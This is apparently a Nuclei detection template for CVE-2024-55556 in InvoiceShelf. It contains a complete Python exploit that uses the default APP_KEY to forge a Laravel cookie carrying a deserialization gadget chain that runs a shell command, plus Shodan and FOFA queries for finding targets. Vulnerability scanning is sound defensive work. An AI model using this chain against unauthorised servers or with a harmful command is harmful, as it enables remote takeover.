id: CVE-2024-55556

info:
  name: InvoiceShelf <= 1.3.0 - PHP Deserialization
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.
  impact: |
    Unauthenticated attackers with knowledge of the APP_KEY can achieve remote code execution through Laravel cookie deserialization on InvoiceShelf servers.
  remediation: |
    Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value
  reference:
    - https://www.synacktiv.com/en/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known
    - https://github.com/rapid7/metasploit-framework/pull/19950
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55556
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
    epss-score: 0.84685
    epss-percentile: 0.99348
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'http.title:"InvoiceShelf"'
    fofa-query: 'title="InvoiceShelf"'
  tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln

variables:
  marker: "{{randstr}}"
  marker_b64: "{{base64(marker)}}"
  APP_KEY: 'base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=' # default hardcoded key

flow: |
    code();
    http();

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
        import base64
        import json
        import hashlib
        import hmac
        import os
        import urllib.parse, requests
        from Crypto.Cipher import AES
        import requests,re
        request1=requests.get(os.getenv('RootURL')+'/login')
        cookies=request1.headers['Set-Cookie']
        laravel_session_match = re.search(r"laravel_session=(.*?);", cookies)
        laravel_session_value = laravel_session_match.groups()[0]
        random_cookie_match = re.search(r"([A-Za-z0-9+/]{40})=(.*?);", cookies)
        random_cookie_name, random_cookie_value = random_cookie_match.groups()
        valid_app_key=os.getenv('APP_KEY')
        def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode):
            decoded_value = base64.b64decode(value_to_encrypt).decode('utf-8')
            parsed_value = decoded_value.replace('\\', '\\\\').replace('"', '\\"').replace('\\x00','\\u0000').replace('\\\\u0000','\\u0000')
            session_json_to_encrypt = f"{hash_value}|{{\"data\":\"{parsed_value}\",\"expires\":9999999999}}"
            return laravel_encrypt(base64.b64encode(session_json_to_encrypt.encode()).decode(), key, cipher_mode)


        def retrieve_key(key):
            if key.startswith("base64:"):
                return base64.b64decode(key.split(":")[1])
            elif len(key) == 44:
                return base64.b64decode(key)
            else:
                return key.encode('utf-8')


        def laravel_encrypt(value_to_encrypt, key, cipher_mode):
            key = retrieve_key(key)
            iv = os.urandom(16)  # Generate a random 16-byte IV
            encrypted_bytes = aes_encrypt(base64.b64decode(value_to_encrypt), iv, key, cipher_mode)
            tmp_bytes = base64.b64encode(encrypted_bytes).decode().strip()

            # Base64-encode the IV
            b64_iv = base64.b64encode(iv).decode().strip()

            # Prepare data for output
            data = {
                "iv": b64_iv,
                "value": tmp_bytes,
                "mac": generate_mac(key, b64_iv, tmp_bytes),
                "tag": ""  # Assuming empty tag
            }

            # Return the final encrypted value as Base64-encoded JSON
            return base64.b64encode(json.dumps(data).encode()).decode()


        def aes_encrypt(value, iv, key, cipher_mode):
            cipher = AES.new(key, AES.MODE_CBC, iv)  # Assuming CBC mode
            pad_length = 16 - (len(value) % 16)
            padded_value = value + bytes([pad_length] * pad_length)
            return cipher.encrypt(padded_value)


        def generate_mac(key, iv, value):
            return hmac.new(key, f"{iv}{value}".encode(), hashlib.sha256).hexdigest()

        def generate_laravel_payload(pl, pl_len):
            laravel_payload = (
                f'a:2:{{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{{s:9:"\\x00*\\x00events";'
                f'O:35:"Illuminate\\Database\\DatabaseManager":2:{{s:6:"\\x00*\\x00app";a:1:{{s:6:"config";'
                f'a:2:{{s:16:"database.default";s:6:"system";s:20:"database.connections";'
                f'a:1:{{s:6:"system";a:1:{{i:0;s:{pl_len}:"{pl}";}}}}}}}}'
                f's:13:"\\x00*\\x00extensions";a:1:{{s:6:"system";s:12:"array_filter";}}}}}}i:7;i:7;}}'
            )

            # Base64 encode the payload
            b64_laravel_payload = base64.b64encode(laravel_payload.encode()).decode()

            return b64_laravel_payload


        def laravel_decrypt(laravel_cipher, key, cipher_mode):
            data = parse_laravel_cipher(laravel_cipher)
            key = retrieve_key(key)

            try:
                return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
            except Exception:
                print("Your key is probably malformed or incorrect.")  # Equivalent to vprint_error
                return None


        def parse_laravel_cipher(laravel_cipher):
            laravel_cipher = urllib.parse.unquote(laravel_cipher)  # Decoding URL-encoded string

            try:
                data = json.loads(base64.b64decode(laravel_cipher).decode())
            except json.JSONDecodeError:
                print("The JSON inside your base64 is malformed.")  # Equivalent to vprint_error
                return None
            except Exception:
                print("Your base64 laravel_cipher value is malformed.")  # Equivalent to vprint_error
                return None

            try:
                data['value'] = base64.b64decode(data['value'])
                data['iv'] = base64.b64decode(data['iv'])
            except Exception:
                print("Error decoding base64 values in the cipher data.")
                return None

            return data


        def aes_decrypt(encrypted_value, iv, key, cipher_mode):
            cipher = AES.new(key, AES.MODE_CBC, iv)  # Assuming CBC mode
            decrypted = cipher.decrypt(encrypted_value)

            # Remove PKCS7 padding
            pad_length = decrypted[-1]
            return decrypted[:-pad_length].decode('utf-8', errors='ignore')
        unciphered_value=(laravel_decrypt(urllib.parse.unquote(random_cookie_value),valid_app_key,'AES-256-CBC'))


        # Example values (Replace these with real values)
        pl = "echo " + os.getenv('marker_b64') + " | base64 -d"
        pl_len = len(pl)
        cipher_mode = "CBC"  # Assuming CBC mode

        # Generate the Base64 encoded Laravel payload
        b64_laravel_payload=generate_laravel_payload(pl, pl_len)
        # Extract the hash value from unciphered_value
        hash_value = unciphered_value.split('|')[0]

        # Encrypt the Laravel cookie
        laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode)

        print(random_cookie_name+'='+laravel_cookie_cipher+';'+'laravel_session='+laravel_session_value.replace('=','%3D'))

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{code_response}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"
          - 'Illuminate/Database/DatabaseManager.php' # only matches in Debug mode

      - type: status
        status:
          - 500
# digest: 480a00453043021f671dac3a6266ad2cdfbd632d86aec98d695b38369daad65d072cf78c892602022042141195cb2beb79dba3b23430d3ef916eaf46b104910ac3499808db9c9f9e8c:922c64590222798bb761d5b6d8e72950